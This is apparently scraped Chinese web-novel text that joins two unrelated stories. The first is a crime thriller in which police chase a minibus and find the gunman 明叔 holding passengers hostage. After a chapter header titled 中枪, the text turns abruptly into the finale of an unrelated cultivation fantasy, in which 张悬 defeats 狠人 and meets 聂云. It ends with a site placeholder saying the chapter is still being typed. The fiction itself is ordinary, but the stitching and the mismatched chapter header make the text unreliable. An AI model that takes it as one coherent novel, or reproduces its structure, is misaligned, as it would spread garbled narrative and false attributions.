“那个人的特征，除了脸上的疤痕以外，是不是跟明叔都吻合？”我问。 林翔和王敬之都点头。 “疗养院这里这么重要，怎么可能明叔只是来取货，而且今天这都什么时间了，明叔还没来，我们早就控制了这几个人，谁能有机会去通知明叔出事了、别来呢？” 林翔和王敬之听完我说的话，都陷入了沉思。 “如果你说的有可能的话，我们必须第一时间控制住那辆中巴车。”林翔说。 “老林，我们开车撵吧！”我建议。 “我也去！”王敬之马上附和。 “师哥，你这身体能行吗？小心肺内感染。”我不同意。 “我没事，我自己的身体我知道。”王敬之坚持。 “这样吧，我再带两个人，我们一起追那辆车，其余的人在这里善后，局里派过来的人也已经出发在路上了。”林翔回。 “我们还要去再审问一下医生吗？他一定知道那个老头是不是明叔。”我问。 “他应该不会说什么的，目前的证据还不够，很多检验结果都没出来，只是浪费时间。”林翔回。 “好，那走吧！别犹豫了！”我抓起外套就往外走。 我们一行五人坐在车上追赶的时候，我计算了一下时间和路程，担忧的说：“老林，等我们赶上了，估计也到市内了，市内人多，给我们抓他增加难度啊！” “我已经跟车里的警察说了这件事，他们不会随便停车放人走，会直接开到局里。而且现在司机也放慢了速度，我们速度快一点追赶是可以的。”林翔回。 想到爸妈跟老头在一辆车上，我的内心很不安，王敬之看看我问：“叔叔和阿姨在车上？” 我点点头，“不知道小何会不会提高警惕？她是那个没被绑下去的人，那个老头应该也知道，唉！” 林翔听完也皱着眉头，我们在心里暗暗祈祷车开的再快一点，快点追上那辆车。 车行进了半个小时，林翔给中巴车上的警察打电话，可是一直无法接通。 “难道说，出事了？”林翔担忧。 我和王敬之也捏着一把汗，明叔之前的勾当和手段我俩都清楚，确实不是一般选手。 我最担心的就是我爸妈还在车上，心中不由得懊悔不该让他们先走。 司机用最快的时速行驶，我们三个人心急如焚。 行驶了不到半个小时开始慢下来，前面有堵车的问题。 “老林，这个位置是临近咱们S市城郊那个水库吧？”我问。 林翔看看外面，点头应承我，“是，距离水库已经很近了。” 我心下疑惑，怎么到这个位置会堵车呢？ “老林，我下去看看。”堵车的煎熬让我难耐，我想下车看看。 “向荣，我和你一起去。”王敬之也有跟我一样的煎熬。 “行，我也一起吧。”林翔告诉车里的警察手机时刻保持畅通。 我们三个顺着堵车的路线一路向前急匆匆的赶，我心里那个隐忧不断的放大。 足足能跑了五公里，才看到堵车的源头，真的就是那辆中巴！ “老林，是我们的车！”我跟林翔说。 “出事了！”林翔回。 我们三个人顺着车边，缓缓的行进到车边。 我小心的扒着车尾玻璃往里看，糟了！那老头站在车前面，脸对着后面，左眼皮上的疤痕一直在跳，一大一小的眼睛里露出很凶狠的光。 这不就是明叔吗！ 司机的位置，躺着一个人，“靠！他挂掉了我们的同志！”林翔低吼。 为什么呢？怎么会发生这样的事情？我疑惑。 这时候林翔的手机响了，林翔看了半天说：“这个号码我不熟悉。”他用眼神看向我和王敬之。 我心里有个答案，示意林翔接通。 “哪一位？”林翔很沉稳的问。 “林警官，你不是要找我吗？别费劲了，我就在中巴车里。” 我和王敬之都听见了那蹩脚的粤语。 “明叔！你要做什么？”林翔问。 “给我一辆车，送我出城！你知道我为什么讲条件的，你亲自送这十几人上了车。”对面的人凶狠的说。 “好！你等我五分钟，我需要请示。”林翔回。 哪知道对方直接就挂断了电话。 “他应该不知道我们已经到了车旁边。”我说。 王敬之还在探头往里看，“老林、向荣，里面躺下的有两个人，应该都是警察。明叔手里有枪！” “老林，怎么办？”我心急如焚。 “我请示上级给他要车，然后我上去换这些人，让这些人走！”林翔毫不犹豫。 “不行，要去也是我去，你要在下面做支援，后面赶上的同志还不知道发生了什么！”我也很严厉，不容反驳。 “向荣，这是警察的工作！”林翔跟我吼。 “我也是公民，这是我的义务！而且，我爸妈还在里面，我愿意替他们做任何事！”我也吼。 王敬之和林翔都看着我，王敬之推推林翔，“老林，他就是个犟种，你快打电话请示，时间来不及了！” 林翔打电话的时候，我开始勘察车附近的情况。 里面只有一个明叔，没有外应，他手里有枪，干掉了两个警察，里面有十几个群众。 凭我一个人的身手能不能拿下明叔？ 我是有把握的，但是林翔会不会让我去？ 回过神来之后，林翔已经安排好了一切，“向荣、敬之，总部派的车很快就会到，我们的任务是安抚。” 林翔的话音刚落，跟我们一辆车过来的另外两名警察也跑了过来。 这时候林翔的手机响了：“林警官，结果怎么样？”明叔的声音传来。 “给你的车在路上，20分钟就会到。前提是不要伤害里面的任何一个人。”林翔说。 “林警官，我就等20分钟，反正我也是一死，如果能有这么多人陪葬我就够本了！” “你不要！不要！”我喊起来。 林翔和王敬之吓了一跳。 第二百二十一章 中枪 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！